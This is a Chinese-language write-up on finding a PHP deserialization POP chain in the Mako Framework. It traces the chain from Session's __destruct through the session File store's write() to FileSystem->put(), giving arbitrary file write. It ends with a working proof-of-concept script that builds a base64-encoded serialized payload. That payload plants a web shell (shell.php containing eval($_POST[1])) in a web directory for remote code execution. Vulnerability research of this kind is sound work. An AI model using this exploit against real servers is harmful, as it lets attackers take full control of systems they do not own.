Mako Framework 反序列化链(POP chain)挖掘
Mako Framework官网
如果有可控的数据直接unserialze(),这条链可以做到任意文件写。web目录爆出来的话可以写马RCE。
挖掘过程
kunlun跑一下,跑不出链子
遂徒手挖链
全局搜索__destruct魔术方法
只有mako\session\Session这个类稍微有点动态调用的意思
跟进
可以调用任意类的write方法,参数可控而且很多。
全局搜一下__call方法,不是很多,而且基本上都是如下类型的
$name是不可控的,所以这些__call作用不大
那就全局搜索write方法,发现基本没有动态函数调用的影子。所以只能一个个方法递归硬看。由于write本身的含义,强烈怀疑可以任意文件写
一个个翻阅,找到了mako\session\stores\File->write()
可以调用任意类的put方法,参数基本可控(会稍微处理一下)
查看FileSystem属性的定义
按照注释找到了\mako\file\FileSystem
看看put方法,确实是用来写文件的
另外isWritable就是返回指定目录是否可写
到这里写文件的链就找到了
POC
注意绕一下File.php里对参数的处理
<?php
namespace mako\file{
class FileSystem{}
}
namespace mako\session\stores{
class File {
protected $sessionPath="D:/phpstudy_pro/WWW/cake/public";
protected $fileSystem;
public function __construct(){
$this->fileSystem=new \mako\file\FileSystem();
}
}
}
namespace mako\session{
class Session{
protected $autoCommit=true;
protected $flashData="<?php eval(\$_POST[1]);//";
protected $sessionData = [];
protected $destroyed = false;
protected $store;
protected $sessionId="shell.php";
public function __construct(){
$this->store=new \mako\session\stores\File();
}
}
}
namespace {
echo base64_encode(serialize(new \mako\session\Session()));
}
?>